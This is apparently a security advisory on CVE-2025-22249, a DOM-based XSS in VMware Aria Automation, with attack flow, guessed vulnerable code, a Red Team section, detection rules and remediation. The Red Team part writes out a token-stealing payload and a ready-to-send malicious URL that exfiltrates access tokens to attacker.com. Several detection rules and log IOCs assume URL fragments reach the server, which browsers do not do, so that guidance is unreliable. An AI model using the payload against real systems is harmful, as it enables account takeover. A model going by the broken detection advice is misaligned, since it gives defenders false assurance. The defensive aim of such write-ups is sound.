CVE-2025-22249

Executive Summary

CVE-2025-22249 is a DOM-based Cross-Site Scripting (XSS) vulnerability in VMware Aria Automation. An unauthenticated attacker can craft a malicious URL that, when clicked by a logged-in user, executes arbitrary JavaScript in the context of the user's session. This allows the attacker to steal the victim's access token, leading to full account takeover and unauthorized access to the automation platform. The vulnerability has a CVSS score of 8.2 (High) and currently has no official patch. Exploitation requires user interaction (clicking a link), but the impact is severe due to the potential for lateral movement within the VMware ecosystem.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary VMware appliance. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 8.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is easy to exploit (low complexity, no privileges) and directly leads to credential theft. The lack of a patch increases the risk significantly.

Deep Dive & Mechanics

The vulnerability resides in the VMware Aria Automation web interface. It is a DOM-based XSS, meaning the malicious payload is executed entirely on the client side without the server reflecting the input. The vulnerable JavaScript code reads a parameter from the URL (likely window.location.hash or window.location.search) and injects it into the DOM without proper sanitization.

Attack Flow:

1. Attacker crafts a URL containing a malicious JavaScript payload in a specific parameter (e.g., https://aria-automation.example.com/#<script>...</script>).
2. Attacker sends this URL to a logged-in user via phishing email, social media, or other means.
3. User clicks the link while authenticated to the VMware Aria Automation appliance.
4. The browser executes the attacker's JavaScript in the context of the application's origin.
5. The script steals the user's access token (stored in localStorage, sessionStorage, or a cookie) and exfiltrates it to an attacker-controlled server.
6. Attacker uses the stolen token to impersonate the user and gain unauthorized access.

Root Cause: Insufficient input validation and output encoding in client-side JavaScript that handles URL fragments or query parameters.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly injects URL hash into DOM
var hash = window.location.hash.substring(1);
document.getElementById('user-message').innerHTML = hash;

Patched Code (Conceptual):

// Patched: Uses textContent to prevent HTML injection
var hash = window.location.hash.substring(1);
document.getElementById('user-message').textContent = hash;

OR

// Patched: Sanitizes input before DOM insertion
var hash = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(hash);
document.getElementById('user-message').innerHTML = sanitized;

Note: Since no official patch is available, the exact patched code is unknown. The above is a best-practice remediation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of VMware Aria Automation (vulnerable version).
• A logged-in user session.
• An attacker-controlled server to receive stolen tokens.

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., # or ?). Use browser developer tools to inspect the DOM after clicking various links.
2. Craft a payload to steal the access token. Example:

   // Payload to exfiltrate token via image request
   var token = localStorage.getItem('access_token') || document.cookie;
   new Image().src = 'https://attacker.com/steal?token=' + encodeURIComponent(token);
   

3. Encode the payload into a URL:

   https://aria-automation.example.com/#<img src=x onerror="var token=localStorage.getItem('access_token');new Image().src='https://attacker.com/steal?token='+encodeURIComponent(token);">
   

4. Send the URL to the victim.
5. Monitor your server for incoming requests containing the token.

Lab Setup:

• Use a local VM of VMware Aria Automation (trial version).
• Set up a simple HTTP server (e.g., python3 -m http.server 8080) to capture exfiltrated data.
• Use a browser with developer tools to test payloads.

Blue Team (Defense & Detection)

Defensive Measures:

• Web Application Firewall (WAF): Deploy WAF rules to block requests containing <script> or onerror in URL parameters.
• Content Security Policy (CSP): Implement a strict CSP that disallows inline scripts and restricts image sources.
• Input Validation: Ensure all client-side input is sanitized using libraries like DOMPurify.
• Token Security: Use short-lived tokens and implement token binding to prevent reuse.

Detection Steps:

1. Monitor web server logs for unusual URL patterns (e.g., #<script, onerror, onload).
2. Alert on outbound connections to unknown domains from the Aria Automation appliance.
3. Use endpoint detection to monitor for JavaScript execution anomalies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing token= or access_token= parameters.
  • URLs containing #<script, #<img, or other HTML tags in the fragment identifier.
• Host IOCs:
  • Unusual JavaScript files or modifications in the web root directory.
  • Browser console errors related to DOM manipulation.
• Log IOCs:
  • Web server logs showing requests with # followed by HTML/JavaScript.
  • Authentication logs showing logins from unusual IP addresses shortly after a phishing campaign.

Detection Engineering

YARA Rule

rule CVE_2025_22249_DOM_XSS {
    meta:
        description = "Detects DOM-based XSS payloads targeting VMware Aria Automation"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-22249"
    strings:
        $payload1 = /#<script[^>]*>.*<\/script>/i
        $payload2 = /#<img[^>]*onerror[^>]*>/i
        $payload3 = /#<svg[^>]*onload[^>]*>/i
        $token_steal = /localStorage\.getItem\(['"]access_token['"]\)/
    condition:
        any of ($payload*) or $token_steal
}

Sigma Rule

title: CVE-2025-22249 DOM XSS in VMware Aria Automation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of DOM-based XSS in VMware Aria Automation
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of hash fragments in web applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22249 DOM XSS Attempt"; flow:to_server; content:"#<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-22249 Token Exfiltration"; flow:to_server; content:"access_token"; http_uri; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate: If possible, restrict network access to the Aria Automation appliance until a patch is applied.
2. Monitor: Enable detailed logging and monitor for suspicious URL patterns.
3. Educate: Train users not to click on suspicious links, especially while logged into the appliance.

Long-term Fix:

• Apply the official patch from VMware once released.
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Review and harden all client-side JavaScript code for proper input sanitization.

Workaround:

• Disable JavaScript in the browser for the Aria Automation domain (not recommended for normal use).
• Use a reverse proxy to strip or sanitize URL fragments before they reach the application.

Valters IT